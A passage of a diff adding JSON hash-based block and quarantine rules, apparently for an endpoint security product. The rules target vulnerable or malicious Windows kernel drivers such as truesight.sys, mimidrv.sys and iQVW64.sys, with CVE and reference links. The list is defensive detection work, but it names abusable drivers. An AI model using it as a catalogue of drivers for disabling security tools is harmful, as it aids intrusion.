+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5da0f06fdf2f531ce5caac5ea77238fe13fbc3d8bada7bbb36fc1eaa07799a32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fac2f9c1-1536-51fa-aef8-0d00befff49a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499511Z",
+  "creation_date": "2026-03-23T11:45:31.499514Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499523Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "544347a5b7c60b9a501f02b06e51a3c0bc7664b1fe19e85195aa4f0c79d852a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "faccc13c-b498-578e-8a69-622adab7e1bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978032Z",
+  "creation_date": "2026-03-23T11:45:29.978034Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ebaef662b14410c198395b13347e1d175334ec67919709ad37d65eba013adff",
+  "comment": "Vulnerable Kernel Driver (aka bw.sys) [https://www.loldrivers.io/drivers/578d4909-c2ba-4363-b6e3-98fb62d5e55c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fad2a4e0-97c0-5144-9722-951def34f0e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479740Z",
+  "creation_date": "2026-03-23T11:45:30.479742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479747Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e5cdf9d41843ecf7f9e252b706a0c5ca89ce288a4944ee70dd43fcc06965a8f",
+  "comment": "Malicious Kernel Driver (aka a9df5964635ef8bd567ae487c3d214c4.sys) [https://www.loldrivers.io/drivers/ac62e709-4aa5-41f4-87b1-b811283d70d1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fad432ed-ceec-502d-8842-59b2284a4619",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157639Z",
+  "creation_date": "2026-03-23T11:45:31.157641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157649Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b984209f1d5d681a3bbc876ddb90fd5905155cd0ec5449803e5debd9d066e11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fad5e050-ef9d-560a-8ef2-fac9adc40a31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606157Z",
+  "creation_date": "2026-03-23T11:45:29.606158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606164Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fadaa988-2483-5eec-a37b-006823421bb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160030Z",
+  "creation_date": "2026-03-23T11:45:31.160032Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160037Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4909d7e50d71ea4cd72b68a9d9c1a12a96cf1f9d6ff04272e5403ff58cdd31bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fadbc017-3cec-5f06-91fa-6af3c4f43f2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150233Z",
+  "creation_date": "2026-03-23T11:45:31.150235Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150241Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c3ba841467677571942294277c9f922fb79c5de289e7cefda14767e1cb4fd46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "faf7a12e-4b82-56dc-aa07-7fc9175ba00e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153284Z",
+  "creation_date": "2026-03-23T11:45:31.153287Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcbfdf5bb3562ab624d954fc95007ca2baa9e6f217ebd7ee2dcc1591a949e211",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fafe9b15-ae6a-52fe-b9f8-1adf16e6d85d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811542Z",
+  "creation_date": "2026-03-23T11:45:31.811544Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811550Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec936428caafb5e535b9d0cacce885185e314c659746c19dbee4edbd21aeb513",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb09e78f-4c0a-57ab-aba2-8e81cb33bf19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159158Z",
+  "creation_date": "2026-03-23T11:45:31.159160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1021ecbde5a241cb33013cfe9c345f964547a03e79d19b53490e5d33169ea8c6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb21dc1e-0723-5a94-8ddf-72edd3f5d68a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826438Z",
+  "creation_date": "2026-03-23T11:45:31.826440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826445Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55c0a887f87469e26616fe0641d83c971a3024181bd0e53a4250afae53be1a63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb27bc42-e488-5f01-995f-79e61d6f6802",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621409Z",
+  "creation_date": "2026-03-23T11:45:29.621411Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621417Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26453afb1f808f64bec87a2532a9361b696c0ed501d6b973a1f1b5ae152a4d40",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb31c830-53bf-54d2-8fd6-825779e21050",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468692Z",
+  "creation_date": "2026-03-23T11:45:30.468695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468704Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "869f22f072f71abc741cf9d3b9cbc9020a2611286670c6e6d67cd240629518f6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb3749f5-6e21-5cca-8532-836149bdf73f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495984Z",
+  "creation_date": "2026-03-23T11:45:31.495987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee3a1b13c31103c100ada53e267d1fa27a0573aa54919d29249b66fd9507a9b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb3d6cd5-b776-5f54-bf11-f21218709141",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968203Z",
+  "creation_date": "2026-03-23T11:45:29.968205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "810513b3f4c8d29afb46f71816350088caacf46f1be361af55b26f3fee4662c3",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb47e5b1-d5e2-5741-9d14-fecf7dfaa15d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620159Z",
+  "creation_date": "2026-03-23T11:45:29.620161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29e0062a017a93b2f2f5207a608a96df4d554c5de976bd0276c2590a03bd3e94",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb4aa9a3-9491-5088-93a0-7542d0bb2ad4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971926Z",
+  "creation_date": "2026-03-23T11:45:29.971927Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9f6ef002bf7603672cf350831065aa3664f930e9587ae8fd3bfc93ca3f21a707",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb52a350-3a84-58c0-821f-7defafc2ccca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619106Z",
+  "creation_date": "2026-03-23T11:45:29.619108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619113Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46cb4aabe49917be885f2c42ade92aceda6b9d0b7739cf0e7c3c6d93820b67c3",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb5481e1-78a0-507e-905f-01aea27dbabe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974909Z",
+  "creation_date": "2026-03-23T11:45:29.974911Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab3e5217c5ec836a882d68a23b017de5b4f88328510e4bcb9564759926aec89f",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb5a53bd-d5a1-572a-a4a0-8b9b1ad5eac5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143242Z",
+  "creation_date": "2026-03-23T11:45:32.143244Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cb497abc44aad09a38160d6a071db499e05ff5871802ccc45d565d242026ee7",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb640e01-dff7-5a80-a110-79e5cdbf1264",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815804Z",
+  "creation_date": "2026-03-23T11:45:30.815806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81fbc9d02ef9e05602ea9c0804d423043d0ea5a06393c7ece3be03459f76a41d",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "fb66461a-5ba5-5954-833a-988883514cb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983491Z",
+  "creation_date": "2026-03-23T11:45:29.983493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983498Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "221dfbc74bbb255b0879360ccc71a74b756b2e0f16e9386b38a9ce9d4e2e34f9",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
